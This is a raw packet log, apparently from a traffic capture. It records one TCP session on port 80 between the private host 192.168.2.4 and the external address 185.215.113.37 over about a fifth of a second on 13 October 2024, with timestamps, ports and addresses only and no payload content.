Oct 13, 2024 06:54:13.901514053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901514053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901540995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901556969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901556969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901576996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901601076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901612997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901643991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901678085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901710987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901742935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901776075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901796103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901796103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901796103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901796103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901796103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901796103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901809931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901844025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901878119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901911974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901945114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901971102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901971102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901971102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901971102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901971102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901979923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902013063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902045965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902077913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902111053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902143955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902167082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902167082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902167082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902167082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902167082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902167082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902179003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902215004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902247906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902280092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902312994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902343035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902344942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902344942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902344942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902344942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902344942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902375937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902410984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902443886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902477026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.902529955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991576910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991650105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991708994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991743088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991748095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991748095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991748095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991776943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991781950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991812944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991846085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991878033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991909981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991942883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991967916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991967916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991967916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991969109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991969109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.991977930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.991988897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992012978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992057085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992099047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992105961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992105961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992105961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992132902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992162943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992171049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992311001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992361069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992393970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992424965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992472887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992472887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992472887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992474079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992474079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992474079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992474079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992511988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992537975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992554903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992563963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992593050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992631912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992675066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992710114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992743969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992752075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992752075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992752075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992752075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992752075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992779016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992815018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992846966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.992873907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992873907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.992873907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993000984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993328094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993359089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993412018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993444920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993475914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993508101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993522882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993522882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993522882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993522882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993522882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993558884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993568897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993611097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993640900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993689060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993721962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993752003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993771076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993771076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993771076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993771076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993771076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993784904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993830919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993830919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993843079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993889093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993937969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.993952036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993952036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.993974924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994009018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994041920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994071960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994102955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994115114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994115114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994115114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994116068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994116068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994137049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994169950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994182110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994182110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994204044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994237900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994282007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994282007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994282007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994391918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994452000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994456053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994513988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994546890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994596004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994627953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994661093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994693041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994709015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994709015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994709015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994709015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994709015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994709015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994729042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994757891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994790077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994824886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994856119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994889021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994904995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994904995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994904995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994904995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994904995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994904995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994924068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.994935036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.994992971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995349884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995424986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995456934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995479107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995488882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995513916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995548010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995580912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995613098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995655060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995662928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995662928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995662928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995662928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995663881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995707035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995712996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995738029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995745897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995774984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.995784998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.995832920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.022878885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.022952080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.022991896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023044109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023077011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023108959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023142099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023175001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023195982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023195982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023195982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023195982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023195982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023226023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023258924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023292065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023324966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023359060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023410082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023413897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023453951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023576975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023576975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023731947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023766041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023817062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023849964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023858070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023858070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023874998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.023904085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023952961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.023986101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024018049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024060011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024102926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024113894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024113894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024113894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024113894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024113894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024113894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024138927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024173021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024207115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024235010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024301052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024333000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024358034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024358034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024358034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024358034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024358034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024358034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024405003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024439096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024441957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024490118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024490118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024493933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024545908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024579048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024611950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024651051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024651051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024651051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024652004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024698973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024730921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024764061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024796963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.024813890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024813890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024813890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024813890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.024813890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.025206089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080260992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080296993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080348015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080380917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080415964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080456018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080466986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080502033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080542088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080564022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080564022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080564022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080604076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080638885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080671072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080692053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080692053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080692053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080704927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080732107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080741882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.080763102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.080849886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.081039906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.081115961 CEST	80	49730	185.215.113.37	192.168.2.4
